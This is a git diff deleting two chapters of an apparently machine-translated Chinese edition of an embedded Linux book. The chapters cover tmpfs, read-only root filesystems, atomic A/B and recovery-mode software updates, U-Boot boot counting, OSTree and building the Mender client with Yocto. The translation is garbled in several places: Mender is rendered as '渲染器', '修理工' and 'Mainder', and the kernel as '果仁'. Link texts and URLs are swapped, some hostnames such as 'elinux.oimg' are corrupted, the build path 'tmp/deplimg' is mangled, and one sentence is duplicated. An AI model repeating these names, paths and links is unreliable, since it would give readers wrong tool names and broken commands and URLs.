tmp_files /tmp -``` - -与`procfs`和`sysfs`一样,没有与`tmpfs`相关联的设备节点,因此您必须提供占位符字符串,即前面示例中的`tmp_files`。 - -随着文件的创建和删除,使用的内存量会增大和缩小。 默认最大大小是物理 RAM 的一半。 在大多数情况下,如果`tmpfs`变得那么大,那将是一场灾难,所以用`-o`大小参数来限制它是一个非常好的主意。 参数可以以字节、KiB(`k`)、MIB(`m`)或 GiB(`g`)为单位给出,例如: - -```sh -# mount -t tmpfs -o size=1m tmp_files /tmp -``` - -除了`/tmp`之外,`/var`的一些子目录还包含易变数据,对它们也使用`tmpfs`是一种很好的做法,要么为每个目录创建单独的文件系统,要么更经济地使用符号链接。 Buildroot 这样做: - -```sh -/var/cache -> /tmp -/var/lock -> /tmp -/var/log -> /tmp -/var/run -> /tmp -/var/spool -> /tmp -/var/tmp -> /tmp -``` - -在 Yocto 项目中,`/run`和`/var/volatile`是带有指向它们的符号链接的`tmpfs`挂载,如下所示: - -```sh -/tmp -> /var/tmp -/var/lock -> /run/lock -/var/log -> /var/volatile/log -/var/run -> /run -/var/tmp -> /var/volatile/tmp -``` - -在嵌入式 Linux 系统中,将根文件系统加载到 RAM 中并不少见。 这样,在运行时可能对其内容造成的任何损坏都不是永久性的。 不过,根文件系统不需要驻留在 SquashFS 或`tmpfs`上进行保护;您只需将根文件系统设置为只读即可。 - -# 将根文件系统设为只读 - -您需要使您的目标设备能够在意外事件(包括文件损坏)中幸存下来,并且仍然能够引导并实现至少最低级别的功能。 将根文件系统设为只读是实现这一目标的关键部分,因为它消除了意外覆盖。 将其设为只读很简单:在内核命令行上将`rw`替换为`ro`,或者使用一个固有的只读文件系统,如 SquashFS。 但是,您会发现有几个文件和目录传统上是可写的: - -* `/etc/resolv.conf`:此文件由网络配置脚本编写,用于记录 DNS 名称服务器的地址。 该信息是易失性的,因此您只需将其设置为指向临时目录的符号链接;例如,`/etc/resolv.conf -> /var/run/resolv.conf`。 -* `/etc/passwd`:该文件与`/etc/group`、`/etc/shadow`和 - `/etc/gshadow`一起存储用户名和组名以及密码。 它们需要 - 象征性地链接到持久存储区域。 -* `/var/lib`:许多应用都希望能够写入此目录,并将永久数据保存在此目录中。 一种解决方案是在引导时将基本文件集复制到`tmpfs`文件系统,然后将 mount`/var/lib`绑定到新位置。 您可以通过将一系列命令(如以下命令)放入其中一个引导脚本中来完成此操作: - - ```sh - $ mkdir -p /var/volatile/lib - $ cp -a /var/lib/* /var/volatile/lib - $ mount --bind /var/volatile/lib /var/lib - ``` - -* `/var/log`:这是`syslog`和其他守护进程保存其日志的位置。 通常,不希望记录到闪存,因为它会生成许多小的写入周期。 一个简单的解决方案是使用`tmpfs`装载`/var/log`,使所有日志消息不稳定。 在`syslogd`的情况下,BusyBox 有一个可以记录到循环环形缓冲区的版本。 - -如果您正在使用 Yocto 项目,则可以通过将`IMAGE_FEATURES = "read-only-rootfs"`添加到`conf/local.conf`或您的映像配方来创建只读根文件系统。 - -# 文件系统选择 - -到目前为止,我们已经研究了固态存储器背后的技术和多种类型的文件系统。 现在,是时候总结一下可用的选项了。 在大多数情况下,您可以将存储需求分为以下三类: - -* **永久**,**读写数据**:运行时配置、网络参数、密码、数据日志和用户数据 -* **永久**,**只读数据**:恒定的程序、库和配置文件;例如,根文件系统 -* **易失性数据**:临时存储;例如`/tmp` - -读写存储的选项如下: - -* NOR:UBIFS 或 JFFS2 -* NAND:UBIFS、JFFS2 或 YAFFS2 -* EMMC:EXT4 或 F2FS - -对于只读存储,您可以使用其中的任何一个,并使用`ro`属性挂载。 此外,如果您想节省空间,可以使用 SquashFS。 最后,对于易失性存储,只有一个选择:`tmpfs`。 - -# 摘要 - -闪存从一开始就是嵌入式 Linux 的首选存储技术,多年来,Linux 获得了非常好的支持,从低级驱动程序到支持闪存的文件系统,最新的是 UBIFS。 - -随着新闪存技术的引入速度加快,要跟上高端市场的变化变得越来越困难。 系统设计人员越来越多地转向 eMMC 形式的可管理闪存,以提供独立于内部存储芯片的稳定硬件和软件接口。 嵌入式 Linux 开发者 -开始掌握这些新芯片。 Ext4 和 F2F 中对 Trim 的支持已经很成熟,而且它正在慢慢地进入芯片本身。 此外,针对闪存管理进行了优化的新文件系统(如 F2F)的出现也是一个可喜的进步。 - -然而,事实仍然是,闪存与硬盘驱动器不同。 在将文件系统写入次数降至最低时,您必须小心-尤其是在密度较高的 TLC 芯片可能能够支持多达 1,000 个擦除周期的情况下。 - -在下一章中,我将继续讨论存储选项这一主题,因为我考虑了在可能部署到远程位置的设备上保持软件最新的不同方法。 - -# 进一步阅读 - -以下资源包含有关本章中介绍的主题的更多信息: - -* XIP:过去,现在……。 The Future?,Vitaly Wool 著:[https://archive.fosdem.org/2007/slides/devrooms/embedded/Vitaly_Wool_XIP.pdf](https://archive.fosdem.org/2007/slides/devrooms/embedded/Vitaly_Wool_XIP.pdf) -* *一般 mtd 文档*:[http://www.linux-mtd.infradead.org/doc/general.html](http://www.linux-mtd.infradead.org/doc/general.html) -* *使用廉价闪存驱动器优化 linux*,作者:Arnd Bergmann:[https://lwn.net/Articles/428584/](https://lwn.net/Articles/428584/) -* *eMMC/固态硬盘文件系统调优方法*,Cogent Embedded,Inc.: - [https://elinux.oimg/b/b6/EMMC-SSD_File_System_Tuning_Methodology_v1.0.pdf](https://elinux.oimg/b/b6/EMMC-SSD_File_System_Tuning_Methodology_v1.0.pdf) -* *闪存友好文件系统(F2FS)*,黄周永著:[https://elinux.oimg/1/12/Elc2013_Hwang.pdf](https://elinux.oimg/1/12/Elc2013_Hwang.pdf) -* *An F2FS teardown*,Neil Brown:[https://lwn.net/Articles/518988/](https://lwn.net/Articles/518988/) \ No newline at end of file diff --git a/docs/master-emb-linux-prog/10.md b/docs/master-emb-linux-prog/10.md deleted file mode 100644 index dc5710ef..00000000 --- a/docs/master-emb-linux-prog/10.md +++ /dev/null @@ -1,990 +0,0 @@ -# 十、现场更新软件 - -在前面的章节中,我们讨论了为 Linux 设备构建软件的各种方法,以及如何为各种类型的大容量存储创建系统映像。 当您投入生产时,只需将系统镜像复制到闪存中,即可部署。 现在,我想考虑一下设备在第一批发货后的使用寿命。 - -随着我们进入*物联网*时代,我们创造的设备很可能通过互联网连接在一起。 与此同时,软件正变得越来越复杂。 更多的软件意味着更多的错误。 与互联网的连接意味着这些漏洞可以从远处被利用。 因此,我们有一个共同的要求,即能够在领域中更新软件*。 然而,软件更新带来了比修复错误更多的好处。 它们打开了为现有硬件增加价值的大门,方法是随着时间的推移提高系统性能或启用功能。* - -在本章中,我们将介绍以下主题: - -* 更新源自何处? -* 要更新的内容 -* 软件更新的基础知识 -* 更新机制的类型 -* OTA 更新 -* 使用 Mender 进行本地更新 -* 使用 Mender 进行 OTA 更新 -* 使用 Whale 进行本地更新 - -# 技术要求 - -要按照示例操作,请确保您具备以下条件: - -* 至少具有 60 GB 可用磁盘空间的基于 Linux 的主机系统 -* Yocto 3.1(邓费尔)LTS 版本 -* 适用于 Linux 的蚀刻器 -* 一种 microSD 卡读卡器和卡 -* 覆盆子派 4 -* 一种 5V 3A USB-C 电源 -* Wi-Fi 路由器 - -本章的*使用 Mender 进行本地更新*和*使用 Mender 进行 OTA 更新*一节需要 Yocto。 - -您应该已经为[*第 6 章*](06.html#_idTextAnchor164),*选择构建系统*构建了 Yocto 的 3.1(Dunfall)LTS 发行版。 如果没有,请参考*Yocto Project Quick Build*指南([https://www.yoctoproject.org/docs/current/brief-yoctoprojectqs/brief-yoctoprojectqs.html](https://www.yoctoproject.org/docs/current/brief-yoctoprojectqs/brief-yoctoprojectqs.html))的*Compatible Linux Distribution*和*Build Host Packages*部分,然后根据[*第 6 章*](06.html#_idTextAnchor164)中的说明在您的 LINUX 主机上构建 Yocto。 - -本章的所有代码都可以在本书的 GitHub 存储库的`Chapter10`文件夹中找到:[https://github.com/PacktPublishing/Mastering-Embedded-Linux-Programming-Third-Edition](https://github.com/PacktPublishing/Mastering-Embedded-Linux-Programming-Third-Edition)。 - -# 更新源自何处? - -有许多软件更新方法。 概括地说,我将它们描述为 -如下: - -* 本地更新,通常由技术人员执行,技术人员在 - 便携式介质(如 USB 闪存驱动器或 SD 卡)上进行更新,并且必须单独访问每个系统 -* 远程更新,其中更新由用户或技术人员在本地启动,但从远程服务器下载 -* **空中**(**OTA**)更新,其中更新是完全远程推送和管理的,不需要任何本地输入 - -我将首先描述几种软件更新的方法,然后我将展示一个使用渲染器([https://mender.io](https://mender.io))的示例。 - -# 要更新的内容 - -嵌入式 Linux 设备在设计和实现方面非常多样化。 但是,它们都有这些基本组件: - -* 引导加载程序 -* 果仁 / 核心 / 精髓 -* 根文件系统 -* 系统应用 -* 特定于设备的数据 - -某些组件比其他组件更难更新,如下图所示: - -![Figure 10.1 – Components of an update](img/B11566_10_01.jpg) - -图 10.1-更新的组件 - -让我们依次查看每个组件。 - -## 引导加载程序 - -引导加载器是处理器加电时运行的第一段代码。 处理器定位引导加载程序的方式非常特定于设备,但在大多数情况下,只有一个这样的位置,因此只能有一个引导加载程序。 如果没有备份,更新引导加载程序是有风险的:如果系统中途断电会发生什么情况? 因此,大多数更新解决方案都不使用引导加载程序。 这不是一个大问题,因为引导加载程序在开机时只运行很短的时间,通常不是运行时错误的主要来源。 - -## 内核 - -Linux 内核是一个关键组件,肯定需要不时更新。 - -内核有几个部分: - -* 引导加载程序加载的二进制映像,通常存储在根文件系统中。 -* 许多设备还具有**设备树二进制文件**(**DTB**),该文件向内核描述硬件,因此必须同步更新。 DTB 通常与内核二进制文件一起存储。 -* 根文件系统中可能有内核模块。 - -内核和 DTB 可以存储在根文件系统中,只要引导加载程序能够读取该文件系统格式,或者它可以存储在专用分区中。 在任何一种情况下,拥有冗余副本都是可能的,也是更安全的。 - -## 根文件系统 - -根文件系统包含使系统工作所需的基本系统库、实用程序和脚本。 能够更换和升级所有这些都是非常理想的。 该机制取决于文件系统实现。 - -嵌入式根文件系统的常见格式如下: - -* Ramdisk,引导时从原始闪存或磁盘映像加载。 要更新它,只需覆盖 ramdisk 镜像并重新启动。 -* 存储在闪存分区中的只读压缩文件系统,如`squashfs`。 由于这些类型的文件系统不实现写入功能,因此更新它们的唯一方法是将完整的文件系统映像写入分区。 -* 普通文件系统类型:对于原始闪存,JFFS2 和 UBIFS 格式很常见,而对于托管闪存,例如 eMMC 和 SD 卡,格式可能是 ext4 或 F2Fs。 因为这些文件在运行时是可写的,所以可以逐个文件地更新它们。 - -## 系统应用 - -系统应用是设备的主要有效负载;它们实现设备的主要功能。 因此,它们可能会频繁更新,以修复错误并添加功能。 它们可能与根文件系统捆绑在一起,但通常也会将它们 -放在单独的文件系统中,以简化更新并保持系统文件(通常是开源的)和应用文件(通常是专有的)之间的分离。 - -## 特定于设备的数据 - -这是在运行时修改的文件的组合,包括配置设置、日志、用户提供的数据等。 它们并不经常需要更新,但在更新过程中确实需要保留。 这样的数据需要存储在它自己的分区中。 - -## 需要更新的组件 - -总之,更新可能包括新版本的内核、根文件系统和系统应用。 设备将具有不应被更新干扰的其他分区,就像设备运行时数据的情况一样。 - -软件更新失败的代价可能是灾难性的。 在企业和家庭互联网环境中,安全的软件更新也是一个主要问题。 在我们发货任何硬件之前,我们需要能够信心十足地更新软件。 - -# 软件更新的基础知识 - -乍一看,更新软件似乎是一项简单的任务:您只需要用新的副本覆盖一些文件。 但是当你开始意识到所有可能出错的事情时,你的工程师的培训就开始了。 如果在更新过程中断电了怎么办? 如果在测试更新时看不到的错误导致一定比例的设备无法启动,该怎么办? 如果第三方发送虚假更新,将您的设备登记为僵尸网络的一部分,该怎么办? 软件更新机制至少必须是: - -* 健壮,因此更新不会使设备不可用 -* 故障保护,以便在所有其他方法都失败时有一个后备模式 -* 安全,防止设备被安装 - 未经授权更新的人员劫持 - -换句话说,我们需要一个不受墨菲定律影响的系统。墨菲定律指出,如果某件事可能出错,那么它最终也会出错。 然而,其中一些问题并不是微不足道的。 将软件部署到现场设备与将软件部署到云不同。 嵌入式 Linux 系统需要在没有任何人为干预的情况下检测和响应内核死机或引导循环等事故。 - -## 使更新更健壮 - -您可能认为更新 linux 系统的问题很久以前就已经解决了,−我们都有定期更新的 linux 桌面(不是吗?)。 此外,在数据中心中运行的大量 Linux 服务器也同样保持最新状态。 但是,服务器和设备之间是有区别的。 前者在受保护的环境中运作。 它不太可能突然断电或网络连接中断。 在更新失败的情况下,始终可以访问服务器并使用外部机制重复安装。 - -另一方面,设备通常部署在断断续续的电源和糟糕的网络连接的远程站点,这使得更新更有可能中断。 然后,考虑到,如果设备是山顶的环境监测站或控制海底油井的阀门,则访问该设备以对失败的更新采取补救措施可能是非常昂贵的,例如,如果该设备是位于山顶的环境监测站或控制海底油井的阀门,则访问该设备以对失败的更新采取补救措施可能是非常昂贵的。 因此,对于嵌入式设备来说,更重要的是要有一个健壮的更新机制,该机制不会导致系统变得不可用。 - -这里的关键词是**原子性**。 作为一个整体的更新必须是原子的:不应该有任何阶段来更新系统的一部分,但不应该有其他部分。 必须对切换到新软件版本的系统进行单一的、不可中断的更改。 - -这排除了最明显的更新机制:简单地更新单个文件的机制,例如,通过在文件系统的各个部分上提取归档文件。 如果系统在更新期间重置,则无法确保有一致的文件集。 即使使用包管理器(如`apt`、`yum`或`zypper`)也无济于事。 如果您查看所有这些包管理器的内部结构,就会发现它们确实能够正常工作,方法是在文件系统上提取一个归档文件,并在更新前后运行脚本来配置包。 包管理器适用于受保护的数据中心世界,甚至适用于您的桌面,但不适用于设备。 - -要实现原子性,更新必须与正在运行的系统一起安装,然后抛出一个开关以从旧系统切换到新系统。 在后面的部分中,我们将描述实现原子性的两种不同方法。 第一个是拥有根文件系统和其他主要组件的两个副本。 一个是实时的,而另一个可以接收更新。 更新完成后,将抛出开关,以便在重新启动时引导加载程序选择更新的副本。 这是称为**对称图像更新**或**A/B 图像更新**的。 此主题的一个变体是使用负责更新主操作系统的特殊**恢复模式**操作系统。 原子性的保证在引导加载程序和恢复操作系统之间共享。 这称为**非对称图像更新**。 这是在 Nougat 7.x 版本之前的 Android 中采取的方法。 - -第二种方法是将根文件系统的两个或多个副本放在系统分区的不同子目录中,然后在引导时使用`chroot(8)`选择其中一个副本。 Linux 运行后,更新客户端可以将更新安装到另一个根文件系统中,然后当一切都完成并检查完毕后,它可以启动开关并重新启动。 这被称为**原子文件更新**,并且由**OSTree**举例说明。 - -## 使更新具有故障保护功能 - -要考虑的下一个问题是从正确安装但包含停止系统引导的代码的更新中恢复。 理想情况下,我们希望系统检测到这种情况并恢复到以前的工作图像。 - -有几种故障模式可能导致系统无法运行。 第一种是内核死机,例如,由内核设备驱动程序中的错误或无法运行`init`程序引起。 明智的做法是将内核配置为在死机几秒钟后重新启动。 您可以通过设置`CONFIG_PANIC_TIMEOUT`来构建内核,也可以通过将内核命令行设置为死机来实现这一点。 例如,要在死机后 5 秒重新启动,需要在内核命令行中添加`panic=5`。 - -您可能希望更进一步,将内核配置为在 Oops 上死机。 请记住,Oops 是在内核遇到致命错误时生成的。 在某些情况下,它将能够从错误中恢复,在其他情况下则不能,但在所有情况下,都会出现问题,系统无法正常工作。 要在内核配置中启用 Oop 上的死机,请设置`CONFIG_PANIC_ON_OOPS=y`或在内核命令行上设置`oops=panic`。 - -第二种故障模式发生在内核成功启动`init`,但由于某种原因,主应用无法运行时。 要做到这一点,你需要一只看门狗。 **看门狗**是硬件或软件定时器,如果定时器在到期前未重置,则该定时器会重新启动系统。 如果您使用的是`systemd`,您可以使用内置的 Watchdog 函数,我将在[*第 13 章*](13.html#_idTextAnchor391),*启动-init 程序*中介绍该函数。 如果没有,您可能希望启用 Linux 中内置的看门狗支持,如`Documentation/watchdog`中的内核源代码中所述。 - -两次故障都会导致**引导循环**:内核死机或看门狗超时都会导致系统重新引导。 如果问题仍然存在,系统将不断重新启动。 要跳出引导循环,我们需要引导加载程序中的一些代码来检测这种情况,并恢复到以前已知良好的版本。 一种典型的方法是使用**引导计数**,该计数在每次引导时由引导加载程序递增,一旦系统启动并运行,该计数在用户空间中被重置为零。 如果系统进入引导循环,则计数器不会复位,因此会继续增加。 然后,引导加载器被配置为在计数器超过阈值时采取补救措施。 - -在 U-Boot 中,这是由三个变量处理的: - -* `bootcount`:每次处理器启动时,该变量都会递增。 -* `bootlimit`:如果`bootcount`超过`bootlimit`,则 U-Boot 运行`altbootcmd`中的命令,而不是`bootcmd`中的命令。 -* `altbootcmd`:它包含其他引导命令,例如,回滚到软件的以前版本或启动恢复模式操作系统。 - -要实现这一点,必须有一种方法让用户空间程序重置引导计数。 我们可以使用 U-Boot 实用程序来实现这一点,这些实用程序允许在运行时访问 U-Boot 环境: - -* `fw_printenv`:打印 U-Boot 变量的值 -* `fw_setenv`:设置 U-Boot 变量的值 - -这两个命令需要知道 U-Boot 环境块存储在哪里,在`/etc/fw_env.config`中有一个配置文件。 例如,如果 U-Boot 环境存储在距 eMMC 内存起始位置`0x800000`的偏移量处,备份副本存储在`0x1000000`处,则配置将如下所示: - -```sh -# cat /etc/fw_env.config -/dev/mmcblk0 0x800000 0x40000 -/dev/mmcblk0 0x1000000 0x40000 -``` - -在这一节中还有最后一件事要介绍。 在每次引导时增加引导计数,然后在应用开始运行时重置引导计数会导致不必要的环境块写入,耗尽闪存并减慢系统初始化。 为了避免在所有重新启动时都执行此操作,U-Boot 还有一个名为`upgrade_available`的变量。 如果`upgrade_available`为`0`,则`bootcount`不会递增。 在安装更新后将`upgrade_available`设置为`1`,以便仅在需要时才使用引导计数保护。 - -## 确保更新安全 - -最后一个问题与更新机制本身的潜在误用有关。 实现更新机制的主要目的是提供可靠的自动或半自动方法来安装安全补丁和新功能。 但是,其他人可能使用相同的机制来安装未经授权的软件版本,因此*劫持*设备。 我们需要看看如何才能确保这种情况不会发生。 - -最大的漏洞是假远程更新。 为了防止出现这种情况,我们需要在开始下载之前对更新服务器进行身份验证。 我们还需要一个安全的传输通道,如 HTTPS,以防止对下载流进行篡改。 稍后在描述 OTA 更新时,我会再谈到这一点。 - -还有一个问题是本地提供的更新的真实性。 检测虚假更新的一种方法是在引导加载程序中使用安全引导协议。 如果内核映像在出厂时使用数字密钥签名,则引导加载程序可以在加载内核之前检查密钥,如果密钥不匹配,则拒绝加载。 只要密钥由制造商保密,就不可能加载未经授权的内核。 U-Boot 实现了这样一种机制,在`doc/uImage.FIT/verified-boot.txt`中的 U-Boot 源代码中对此进行了描述。 - -重要音符 - -安全引导:好还是不好? - -如果我购买了具有软件更新功能的设备,那么我相信该设备的供应商能够提供有用的更新。 我绝对不希望恶意的第三方在我不知情的情况下安装软件。 但是我应该被允许自己安装软件吗? 如果我完全拥有该设备,我是否应该无权对其进行修改,包括加载新软件? 回想一下 TiVo 机顶盒,它最终导致了 GPLv3 许可证的创建。 还记得 Linksys WRT54G Wi-Fi 路由器:当访问硬件变得容易时,它催生了一个全新的行业,包括 OpenWRT 项目。 例如,有关更多详细信息,请参见[https://www.wi-fiplanet.com/tutorials/article.php/3562391](https://www.wi-fiplanet.com/tutorials/article.php/3562391)。 这是一个位于自由和控制之间的十字路口的复杂问题。 我的观点是,一些设备制造商以安全为借口来保护他们有时粗制滥造的软件。 - -既然我们知道了需要什么,那么我们如何着手更新嵌入式 Linux 系统上的软件呢? - -# 更新机制的类型 - -在本节中,我将描述三种应用软件更新的方法:对称(或 A/B)映像更新;非对称映像更新(也称为*恢复模式更新*);最后是原子文件更新。 - -## 对称镜像更新 - -在该方案中,操作系统有个副本,每个副本包括 Linux 内核、根文件系统和系统应用。 它们在下图中标记为 A 和 B: - -![Figure 10.2 – symmetric image update](img/B11566_10_02.jpg) - -图 10.2-对称镜像更新 - -对称映像更新的工作方式如下: - -1. 引导加载程序有一个标志,指示它应该加载哪个映像。 最初,该标志设置为 A,因此引导加载程序加载操作系统映像 A。 -2. 要安装更新,作为操作系统一部分的更新程序应用会覆盖操作系统映像 B。 -3. 完成后,更新程序将引导标志更改为 B 并重新引导。 -4. 现在,引导加载程序将加载新的操作系统。 -5. 当安装进一步的更新时,更新程序会覆盖映像 A 并将引导标志更改为 A,这样您就可以在两个副本之间进行乒乓操作。 -6. 如果在更改引导标志之前更新失败,引导加载程序将继续加载良好的操作系统。 - -有几个开放源码项目实现了对称映像更新。 一个是在独立模式下运行的**Mender**客户端,我将在后面关于*使用 Mender 进行本地更新*一节中进行描述。 另一个是**SWUpdate**([https://github.com/sbabic/swupdate](https://github.com/sbabic/swupdate))。 SWUpdate 可以接收 CPIO 格式包中的多个映像更新,然后将这些更新部署到系统的不同部分。 它允许您用 Lua 语言编写插件来进行自定义处理。 它具有文件系统支持,用于作为 MTD 闪存分区访问的原始闪存、组织到 UBI 卷中的存储以及具有磁盘分区表的 SD/eMMC 存储。 第三个例子是**RAUC**,**健壮的自动更新控制器**,([https://github.com/rauc/rauc](https://github.com/rauc/rauc))。 它也支持原始闪存、UBI 卷和 SD/eMMC 设备。 可以使用 OpenSSL 密钥对图像进行签名和验证。 第四个例子是**https://github.com/fwup-home/fwup**([Fwup](https://github.com/fwup-home/fwup)),作者是 Buildroot 的长期撰稿人 Frank Hunleth。 - -这个计划有一些缺点。 一种是,通过更新整个文件系统映像,更新包的大小很大,这可能会给连接设备的网络基础设施带来压力。 这可以通过仅发送通过使用先前版本执行新文件系统的二进制`diff`而改变的文件系统块来缓解。 Mender 的商业版支持这样的增量更新,在撰写本文时,增量更新在 RAUC 和 Fwup 中还只是一个测试版功能。 - -第二个缺点是需要为根文件系统和其他组件的冗余副本保留存储空间。 如果根文件系统是最大的组件,那么它几乎是您需要安装的闪存容量的两倍。 正是出于这个原因,使用了非对称更新方案,下面我将对此进行描述。 - -## 非对称镜像更新 - -您可以通过将最小恢复操作系统纯粹用于更新主操作系统来减少存储需求,如下所示: - -![Figure 10.3 – Asymmetric image update](img/B11566_10_03.jpg) - -图 10.3-非对称镜像更新 - -要安装非对称更新,请执行以下操作: - -1. 将引导标志设置为指向恢复操作系统并重新引导。 -2. 一旦恢复操作系统运行,它就可以将更新流式传输到主操作系统映像。 -3. 如果更新中断,引导加载程序将再次引导到恢复操作系统,恢复操作系统可以恢复更新。 -4. 只有在更新完成并得到验证后,恢复操作系统才会清除引导标志并再次重新引导,这一次是加载新的主操作系统。 -5. 正确但有错误的更新的备用方法是将系统重新置于恢复模式,该模式可以尝试补救操作,可能是通过请求更早的更新版本。 - -恢复操作系统通常比主操作系统小得多,可能只有几兆字节,因此存储开销不大。 有趣的是,这是 Android 在 Nougat 发布之前采用的方案。 对于非对称映像更新的开源实现,您可以考虑 SWUpdate 或 RAUC,我在上一节中提到了这两种方法。 - -该方案的主要缺点是在恢复 OS 运行时,设备不工作。 这样的方案还不允许更新恢复 OS 本身。 这将需要一些类似 A/B 映像更新的东西,从而使整个目的落空。 - -## 原子文件更新 - -另一种方法是将根文件系统的冗余副本放在单个文件系统的多个目录中,然后在引导时使用`chroot(8)`命令选择其中一个。 这允许更新一个目录树,同时将另一个目录树挂载为`root`目录。 此外,您可以使用链接,而不是复制在根文件系统的不同版本之间没有更改的文件。 这将节省大量磁盘空间,并减少更新包中要下载的数据量。 这些是原子文件更新背后的基本思想。 - -重要音符 - -`chroot`命令在现有目录中运行程序。 程序将此目录视为其`root`目录,因此无法访问更高级别的任何文件或目录。 它通常用于在受限环境中运行程序,有时也称为或**chroot jear**。 - -OSTree 项目([libOSTree](https://ostree.readthedocs.org/en/latest/))现在改名为**https://ostree.readthedocs.org/en/latest/**,是这个想法最流行的实现。 OSTree 开始于 2011 年左右,作为向 GNOME 桌面开发人员部署更新的一种方式,并改善他们的持续集成测试([https://wiki.gnome.org/Projects/GnomeContinuous](https://wiki.gnome.org/Projects/GnomeContinuous))。 自那以后,它已被用作嵌入式设备的更新解决方案。 它是**汽车级 Linux**(**AGL**)中提供的更新方法之一,并且在 Yocto 项目中通过`meta-update`层提供,该层由**高级远程信息处理系统**(**ATS**)支持。 - -使用 OSTree,文件存储在目标系统的`/ostree/repo/objects`目录中。 它们的命名方式是同一文件的多个版本可以存在于存储库中。 然后,将一组给定的文件链接到一个部署目录,该目录的名称类似`/ostree/deploy/os/29ff9…/`。 这被称为*签出*,因为它与分支从 Git 存储库签出的方式有一些相似之处。 每个 Deploy 目录都包含组成根文件系统的文件。 它们可以有任意数量,但默认情况下只有两个。 例如,下面是两个`deploy`目录,每个目录都有指向`repo`目录的链接: - -```sh -/ostree/repo/objects/... -/ostree/deploy/os/a3c83.../ - /usr/bin/bash - /usr/bin/echo -/ostree/deploy/os/29ff9.../ - /usr/bin/bash - /usr/bin/echo -``` - -要从 OSTree 目录引导,请执行以下操作: - -1. 引导加载程序使用`initramfs`引导内核,并在内核命令行上传递要使用的部署路径: - - ```sh - bootargs=ostree=/ostree/deploy/os/deploy/29ff9... - ``` - -2. `initramfs`包含一个`init`程序`ostree-init`,该程序读取命令行并执行`chroot`到给定的路径。 -3. 安装系统更新时,OSTree 安装代理将更改的文件下载到`repo`目录。 -4. 完成后,将创建一个新的`deploy`目录,其中包含到将组成新根文件系统的文件集合的链接。 其中一些将是新文件,一些将与以前相同。 -5. 最后,OSTree 安装代理将更改引导加载程序的引导标志,以便下次重新引导时,它将`chroot`转到新的`deploy`目录。 -6. 引导加载器实现对引导计数的检查,如果检测到引导循环,则回退到前一个根。 - -即使开发人员可以操作更新程序或在目标设备上手动安装客户端,软件更新最终也需要通过无线方式自动进行。 - -# OTA 更新 - -空中更新**(**OTA**)意味着能够通过网络将软件推送到一个设备或一组设备,通常无需终端用户与该设备进行任何交互。 要实现这一点,我们需要一个中央服务器来控制更新过程,并需要一个用于将更新下载到更新客户端的协议。 在典型的实现中,客户端不时轮询更新服务器,以检查是否有任何更新挂起。 轮询间隔需要足够长,以便轮询流量不会占用很大一部分网络带宽,但需要足够短,以便能够及时传递更新。 几十分钟到几个小时的间隔通常是一个很好的折衷方案。 来自设备的轮询消息包含某种唯一标识符,例如序列号或 MAC 地址,以及当前软件版本。 由此,更新服务器可以查看是否需要更新。 轮询消息还可以包含其他状态信息,例如正常运行时间、环境参数或对设备集中管理有用的任何内容。** - - **更新服务器通常链接到管理系统,该管理系统将向其控制下的各种设备分配新版本的软件。 如果设备数量很大,它可能会批量发送更新,以避免网络过载。 将出现某种状态显示,其中可以显示设备的当前状态,并突出显示问题。 - -当然,更新机制必须是安全的,这样才不会向终端设备发送虚假更新。 这涉及到客户端和服务器能够通过交换证书来相互验证。 然后,客户端可以验证下载的包是否由预期的密钥签名。 - -以下是可用于 OTA 更新的三个开源项目示例: - -* 处于托管模式的修理工 -* 鲸鱼 -* EclipseHawkbit([https://github.com/eclipse/hawkbit](https://github.com/eclipse/hawkbit))与更新程序客户端(如 SWUpdate 或 RAUC)结合使用 - -我们将详细介绍前两个项目,从**Mender**开始。 - -# 使用 Mender 进行本地更新 - -这一理论到此为止。 在本章的下两节中,我希望演示我到目前为止谈到的原则是如何在实践中发挥作用的。 对于这些示例,我将使用 Mender。 Mainder 使用对称的 A/B 映像更新机制,并在更新失败时进行后备。 对于本地更新,它可以在*独立模式*下运行;对于 OTA 更新,它可以在*管理模式*下运行。 我将从独立模式开始。 - -Mainder 由 mender.io([https://mender.io](https://mender.io))编写和支持。 在网站的文档部分有更多关于该软件的信息。 我不会在这里深入研究软件的配置,因为我的目的是说明软件更新的原则。 让我们从 Mender 客户端开始。 - -## 构建 Mender 客户端 - -Mender Client 以 Yocto 元层的形式提供。 这些示例使用 Yocto 项目的 Dunfall 版本,它与我们在[*第 6 章*](06.html#_idTextAnchor164),*选择构建系统*中使用的版本相同。 - -首先获取`meta-mender`层,如下所示: - -```sh -$ git clone -b dunfell git://github.com/mendersoftware/meta-mender -``` - -在克隆`meta-mender`层之前,您希望导航到`poky`目录之上的一个级别,以便这两个目录位于同一级别的相邻两个目录中。 - -Mender 客户端需要对 U-Boot 的配置进行一些更改,以处理引导标志和引导计数变量。 Stock Mender 客户端层有这个 U-Boot 集成的示例实现的子层,我们可以直接使用它们,比如`metameta-mender-qemu`和`meta-mender-raspberrypi`。 我们将使用 QEMU。 - -下一步是创建构建目录并为此配置添加层: - -```sh -$ source poky/oe-init-build-env build-mender-qemu -$ bitbake-layers add-layer ../meta-openembedded/meta-oe -$ bitbake-layers add-layer ../meta-mender/meta-mender-core -$ bitbake-layers add-layer ../meta-mender/meta-mender-demo -$ bitbake-layers add-layer ../meta-mender/meta-mender-qemu -``` - -然后,我们需要通过向`conf/local.conf`添加一些设置来设置环境: - -```sh -1 MENDER_ARTIFACT_NAME = "release-1" -2 INHERIT += "mender-full" -3 MACHINE = "vexpress-qemu" -4 INIT_MANAGER = "systemd" -5 IMAGE_FSTYPES = "ext4" -``` - -行`2`包含名为`mender-full`的 BitBake 类,它负责创建 A/B 图像格式所需的图像的特殊处理。 第`3`行选择名为`vexpress-qemu`的机器,该机器使用 QEMU 模拟 ARM 通用 Express 板,而不是 Yocto 项目中默认的通用 PB。 行`4`选择`systemd`作为`init`守护进程,而不是默认的 system V`init`。 我在[*第 13 章*](13.html#_idTextAnchor391),*启动-init 程序*中更详细地描述了`init`守护进程。 行`5`使根文件系统映像以`ext4`格式生成。 - -现在我们可以构建一个映像: - -```sh -$ bitbake core-image-full-cmdline -``` - -与往常一样,构建的结果在`tmp/deplimg/vexpress-qemu`中。 您会注意到,与我们过去完成的 Yocto 项目构建相比,这里有一些新的东西。 有一个名为`core-image-full-cmdline-vexpress-qemu-grub-[timestamp].mender`的文件,还有一个以`.uefiimg`结尾的同名文件。 -下一小节*安装更新*需要`.mender`文件。 `.uefiimg`文件是使用名为`wic`的 Yocto 项目中的工具创建的。 输出是包含分区表的图像 -,可以直接复制到 SD 卡或 -eMMC 芯片。 - -我们可以使用 Mender 层提供的脚本运行 qemu 目标,该脚本将首先引导 